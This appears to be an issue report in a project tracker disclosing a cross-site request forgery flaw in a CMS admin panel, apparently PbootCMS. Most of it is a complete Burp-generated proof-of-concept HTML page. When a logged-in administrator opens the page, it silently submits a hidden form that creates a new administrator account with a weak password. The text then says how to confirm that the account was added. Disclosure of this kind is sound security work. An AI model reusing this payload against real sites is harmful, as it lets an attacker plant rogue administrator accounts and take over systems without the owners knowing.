Open
Description
After the administrator logged in, open this CSRFpoc page
CSRF.html
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://pboot.com:12345/admin.php?p=/User/add" method="POST">
<input type="hidden" name="formcheck" value="d48ee9bffae5f7fb7022ea1e7dd4a224" />
<input type="hidden" name="username" value="TplusSs" />
<input type="hidden" name="realname" value="asd" />
<input type="hidden" name="password" value="123" />
<input type="hidden" name="rpassword" value="123" />
<input type="hidden" name="status" value="1" />
<input type="hidden" name="roles[0]" value="R101" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
Then open the “/admin.php?p=/User/index” page to see the added system administrator
Metadata
Assignees
Labels
No labels